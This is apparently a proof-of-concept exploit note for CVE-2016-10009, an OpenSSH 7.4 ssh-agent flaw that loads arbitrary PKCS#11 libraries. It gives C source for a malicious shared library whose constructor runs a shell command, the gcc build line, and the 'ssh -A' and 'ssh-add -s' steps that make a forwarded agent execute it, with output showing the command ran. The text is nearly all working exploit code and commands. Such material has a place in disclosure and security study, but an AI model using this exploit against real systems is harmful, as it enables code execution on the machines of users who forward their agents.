OpenSSH 7.4代理协议任意库加载漏洞

CVE-2016-10009

$ cat evil_lib.c
#include <stdlib.h>
__attribute__((constructor)) static void run(void) {
  // in case you're loading this via LD_PRELOAD or LD_LIBRARY_PATH,
  // prevent recursion through system()
  unsetenv("LD_PRELOAD");
  unsetenv("LD_LIBRARY_PATH");
  system("id > /tmp/test");
}
$ gcc -shared -o evil_lib.so evil_lib.c -fPIC -Wall
 
Connect to another machine using "ssh -A". Then, on the remote machine:
 
$ ssh-add -s [...]/evil_lib.so
Enter passphrase for PKCS#11: [just press enter here]
SSH_AGENT_FAILURE
Could not add card: [...]/evil_lib.so
 
At this point, the command "id > /tmp/test" has been executed on the machine running the ssh agent:
 
$ cat /tmp/test
uid=1000(user) gid=1000(user) groups=[...]